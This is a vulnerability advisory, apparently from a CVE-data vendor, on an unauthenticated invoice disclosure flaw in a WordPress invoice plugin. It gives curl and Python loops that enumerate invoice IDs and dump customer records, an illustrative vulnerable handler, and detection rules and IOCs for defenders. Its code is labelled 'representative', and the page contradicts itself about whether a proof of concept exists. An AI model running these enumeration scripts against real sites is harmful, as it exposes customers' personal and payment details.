CVE-2024-25933
Executive Summary
CVE-2024-25933 is an information disclosure vulnerability in the PeproDev Ultimate Invoice WordPress plugin, affecting versions up to and including 1.9.7. The plugin, developed by Pepro Dev. Group, fails to properly restrict access to sensitive invoice data, allowing an unauthenticated attacker to view invoice details, customer information, and potentially payment records. This vulnerability is classified as a WordPress ecosystem issue and does not involve the underlying web server (Apache/Nginx). The CVSS score is 5.3 (Medium), and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes this a persistent risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The vendor has not provided a patch, and the plugin may be abandoned. Organizations should consider this a supply chain risk and evaluate alternative invoice plugins.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: Low (C:L) – Limited sensitive information is exposed.
- Integrity Impact: None (I:N) – No data modification possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for data leakage (customer names, addresses, invoice amounts) elevates the risk for businesses handling sensitive financial data.
Deep Dive & Mechanics
The vulnerability resides in the PeproDev Ultimate Invoice plugin's REST API endpoints or AJAX handlers. The plugin exposes invoice data via unauthenticated requests, likely through a misconfigured wp_ajax_nopriv_* action or a REST route that does not perform capability checks. An attacker can enumerate invoice IDs (often sequential integers) and retrieve full invoice details, including:
- Customer name, email, and billing address
- Invoice number, date, and total amount
- Line items and descriptions
- Payment status and method
The root cause is the absence of current_user_can() checks or nonce verification in the data retrieval functions. The plugin may also expose a wp-json/pepro-invoice/v1/ endpoint without authentication.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only reference. The following is a representative example of the vulnerable pattern found in the plugin's includes/class-ajax.php or similar file:
// Vulnerable code (unauthenticated access)
add_action('wp_ajax_nopriv_get_invoice', 'pepro_get_invoice');
function pepro_get_invoice() {
$invoice_id = intval($_GET['invoice_id']);
$invoice = get_post($invoice_id);
if ($invoice && $invoice->post_type == 'pepro_invoice') {
wp_send_json_success($invoice);
} else {
wp_send_json_error('Invoice not found');
}
}
A patched version would include authentication checks:
// Patched code (requires admin or shop manager)
add_action('wp_ajax_get_invoice', 'pepro_get_invoice');
// Remove the nopriv hook
function pepro_get_invoice() {
if (!current_user_can('manage_options') && !current_user_can('manage_woocommerce')) {
wp_die('Unauthorized', 403);
}
$invoice_id = intval($_GET['invoice_id']);
$invoice = get_post($invoice_id);
if ($invoice && $invoice->post_type == 'pepro_invoice') {
wp_send_json_success($invoice);
} else {
wp_send_json_error('Invoice not found');
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with PeproDev Ultimate Invoice <= 1.9.7 installed and activated.
- At least one invoice created in the system.
Exploitation Steps:
Enumerate Invoice IDs: Invoices are typically stored as custom post types with sequential IDs. Use a simple loop to guess IDs:
for i in $(seq 1 1000); do curl -s "https://target.com/wp-admin/admin-ajax.php?action=get_invoice&invoice_id=$i" | jq . doneDirect REST API Access: If the plugin exposes a REST endpoint:
curl -s "https://target.com/wp-json/pepro-invoice/v1/invoice/123" | jq .Automated Extraction: Use a script to dump all invoices:
import requests for i in range(1, 1001): r = requests.get(f"https://target.com/wp-admin/admin-ajax.php?action=get_invoice&invoice_id={i}") if r.status_code == 200 and r.json().get('success'): print(r.json()['data'])
Expected Output: JSON objects containing invoice details (customer name, address, items, total).
Blue Team (Detection & Hardening)
Detection:
- Monitor for repeated requests to
admin-ajax.phpwith theaction=get_invoiceparameter from unauthenticated IPs. - Look for sequential
invoice_idvalues in logs. - Alert on access to
/wp-json/pepro-invoice/v1/endpoints without authentication.
Hardening:
- Disable the plugin immediately if not essential.
- Use a Web Application Firewall (WAF) to block requests to
admin-ajax.phpwithaction=get_invoicefrom non-admin IPs. - Implement a virtual patch by adding the following to
.htaccess:RewriteCond %{QUERY_STRING} action=get_invoice [NC] RewriteRule ^wp-admin/admin-ajax\.php - [F,L] - Restrict access to
admin-ajax.phpvia IP whitelisting in the server configuration.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=get_invoiceand sequentialinvoice_idparameters. - HTTP requests to
/wp-json/pepro-invoice/v1/invoice/followed by numeric IDs. - User-Agent strings indicating automated scraping (e.g.,
python-requests,curl).
File IOCs:
- Plugin file:
/wp-content/plugins/pepro-dev-ultimate-invoice/ - Suspicious log entries in
access.logshowing repeatedadmin-ajax.phphits.
Log Patterns:
192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /wp-admin/admin-ajax.php?action=get_invoice&invoice_id=1 HTTP/1.1" 200 1234
192.168.1.100 - - [10/Oct/2024:12:34:57 +0000] "GET /wp-admin/admin-ajax.php?action=get_invoice&invoice_id=2 HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule Detect_PeproDev_Invoice_Exploitation {
meta:
description = "Detects exploitation attempts against CVE-2024-25933 in PeproDev Ultimate Invoice"
author = "Valters IT"
date = "2024-10-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25933"
strings:
$ajax_action = "action=get_invoice"
$rest_path = "/pepro-invoice/v1/invoice/"
$plugin_path = "/wp-content/plugins/pepro-dev-ultimate-invoice/"
condition:
any of ($ajax_action, $rest_path) or $plugin_path
}
Sigma Rule
title: CVE-2024-25933 PeproDev Invoice Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to PeproDev Ultimate Invoice data
author: Valters IT
date: 2024-10-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- 'action=get_invoice'
- '/pepro-invoice/v1/invoice/'
condition: selection
falsepositives:
- Legitimate admin access (rare)
level: high
Suricata Rule
alert http any any -> $EXTERNAL_NET any (
msg:"CVE-2024-25933 PeproDev Invoice Information Disclosure Attempt";
flow:to_server,established;
content:"GET"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=get_invoice"; http_uri;
classtype:attempted-recon;
sid:1000001;
rev:1;
reference:cve,2024-25933;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to business operations.
- Apply a virtual patch using a WAF or
.htaccessrules as described in the Blue Team section. - Audit logs for any signs of exploitation (sequential invoice ID requests).
Long-Term Fix:
- Since the vendor has not released a patch, consider migrating to an alternative invoice plugin that is actively maintained (e.g., WooCommerce PDF Invoices & Packing Slips).
- If the plugin must be used, implement custom code to add authentication checks (see patched code example above) and redeploy.
Monitoring:
- Continue monitoring for the IOCs listed above.
- Subscribe to CVE alerts for this plugin to receive updates if a patch is released.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.